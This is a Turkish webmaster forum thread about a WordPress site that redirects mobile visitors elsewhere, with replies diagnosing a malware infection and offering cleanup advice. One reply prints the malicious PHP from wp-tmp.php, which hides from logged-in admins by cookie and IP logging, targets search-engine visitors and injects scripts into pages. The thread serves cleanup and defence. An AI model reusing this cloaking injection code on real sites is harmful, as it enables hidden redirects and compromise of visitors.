Wordpres sitemde virüs mü var?

23.01.2018 19:08

42patriot42 WM Aracı Kullanıcı

Üyelik 31.05.2017
Yaş/Cinsiyet 30 / E
Meslek Memur
Konum İzmir

Ad Soyad Y** D**
Mesajlar 118
Beğeniler 58 / 12
Ticaret 0, (%0)

www.bitikpil.com

Arkadaşlar siteme bir kaç tane farklı bilgisayar ve telefondan giriş yaptım. Ancak özellikle iki telefonda da sitemin içeriğinde ki yazıları okurken ekrana bir form geliyor ve sizi başka siteye yönlendiriyor. Yönlendirdiği bir site "pubwebfan.

Herkes de farklı bir siteye mi yönlendiriyor bilmiyorum ama çözümünü bulamadım. Host firmama söyledim sitenizi kontrol ettik hiç öyle bir şey olmadı diyor. Sizde bakıp yorumda buluna bilir misiniz?

23.01.2018 19:10

#2

SENibrahim ibocum Kullanıcı

Üyelik 22.12.2017
Yaş/Cinsiyet 24 / E
Meslek Öğrenci
Konum Aydın

Ad Soyad İ** Ş**
Mesajlar 4596
Beğeniler 1727 / 1541
Ticaret 15, (%100)


<script></script>


<script></script>

malesef evet ! hemen yazdığım makalemi okuyabilirsiniz.;

https://www.ibocum.com/siteme-shell-ve-virus-bulasti-ne-yapmaliyim/

Herkez hata yapabilir, pardon herkes. | ibocum.com

23.01.2018 19:31

#3

NumanABi --> numanozdemir.com <-- Kullanıcı

Üyelik 02.09.2016
Yaş/Cinsiyet 34 / E
Meslek -
Konum Kırıkkale

Ad Soyad N** Ö**
Mesajlar 1417
Beğeniler 380 / 441
Ticaret 21, (%95)

Evet virüs bulaşmış, ücretli destek düşünürseniz konumu inceleyebilirsiniz.
https://wmaraci.com/forum/genel-ilanlar/internet-siteniz-guvende-mi-hacklendiniz-mi-sakin-olun-yavasca-iceri-girin-418650.html

23.01.2018 19:55

#4

42patriot42 WM Aracı Kullanıcı

Üyelik 31.05.2017
Yaş/Cinsiyet 30 / E
Meslek Memur
Konum İzmir

Ad Soyad Y** D**
Mesajlar 118
Beğeniler 58 / 12
Ticaret 0, (%0)

yükledim sıkıntı gitti mi şuan bilmiyorum farklı cihazlardan deneyecem bakalım

23.01.2018 23:28

#5

42patriot42 WM Aracı Kullanıcı

Üyelik 31.05.2017
Yaş/Cinsiyet 30 / E
Meslek Memur
Konum İzmir

Ad Soyad Y** D**
Mesajlar 118
Beğeniler 58 / 12
Ticaret 0, (%0)

maalesef olmadı yani bilgisayardan girdiğimde veya tlefondan amp olarak girdiğimde bir problem yok ancak telefondan amp dışında girdiğimde başka siteye atıyor.

23.01.2018 23:30

#6

NumanABi --> numanozdemir.com <-- Kullanıcı

Üyelik 02.09.2016
Yaş/Cinsiyet 34 / E
Meslek -
Konum Kırıkkale

Ad Soyad N** Ö**
Mesajlar 1417
Beğeniler 380 / 441
Ticaret 21, (%95)

Eklenti vs. bu tarz sorunları çözmez, incelenmesi gerekiyor.

08.06.2018 12:33

#7

axifirat WM Aracı Kullanıcı

Üyelik 25.07.2015
Yaş/Cinsiyet 35 / E
Meslek Amele
Konum İstanbul Avrupa

Ad Soyad F** Y**
Mesajlar 5
Beğeniler 0 / 0
Ticaret 0, (%0)

Merhaba, Aynı ssorun bendede vardı, sanırım eklentiler yüzünden bulaşmıştı..

wp-includes/wp-tmp.php dosyasının içinde 3 yerde olan kodlar

<script></script>
<script></script>

ini_set('display_errors', 0);
error_reporting(0);
$wp_auth_key='9e5bac956f25c279adad7cf775253d13';




if ( ! function_exists( 'slider_option' ) ) {  

function slider_option($content){ 
if(is_single())
{




$con = '
';

$con2 = '

<script></script>
<script></script>
';

$content=$content.$con2;
}
return $content;
} 

function slider_option_footer(){ 
if(!is_single())
{




$con2 = '

<script></script>
<script></script>
';

echo $con2;
}
} 








function setting_my_first_cookie() {
  setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  }


if(is_user_logged_in())
{
add_action( 'init', 'setting_my_first_cookie',1 );
}







if( current_user_can('edit_others_pages'))
{

if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
{<85>$ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
}

if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
{
$ip.=$_SERVER['REMOTE_ADDR'].'
';<92>@file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);


}



}






$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}






if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) 
{<122>$adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
{
if($sevisitor==true || isset($_COOKIE['sevisitor']))
{
add_filter('the_content','slider_option');
add_action('wp_footer','slider_option_footer');
}

}

} 





}

kodları kaldırdığın taktirde sorunun çözülecektir. Faka yinede temkinli ol! siteni hem web arayüzünden hemde mobil arayüzünden çerezleri silip silip kontrol et!

10.06.2018 09:46

#8

narinhosting narinhosting.com Kullanıcı

Üyelik 23.10.2014
Yaş/Cinsiyet 28 / E
Meslek İnternet Danışmanı
Konum İzmir

Ad Soyad Ş** N**
Mesajlar 1390
Beğeniler 217 / 455
Ticaret 15, (%93)

Sorun çözüldümü ?

13.06.2018 00:20

#9

suzz Bazen uyumamak lazım. Kullanıcı

Üyelik 15.02.2016
Yaş/Cinsiyet 35 / E
Meslek Web Master
Konum Kocaeli

Ad Soyad H** Y**
Mesajlar 104
Beğeniler 14 / 10
Ticaret 5, (%100)

Merhaba virüs tarafından temanızın functions.php dosyasına eklenen kodları kaldırdıktan sonra functions.php dosyasının yazma iznini kaldırırsan sorun düzelecektir.

Detaylı bilgi isterseniz bağlantıdan ulaşabilirsiniz.
http://suzz.net/wordpress-zararli-yazilim-virusu-deloton-malware-temizleme.html

Wordpres sitemde virüs mü var?

Üye Girişi Yap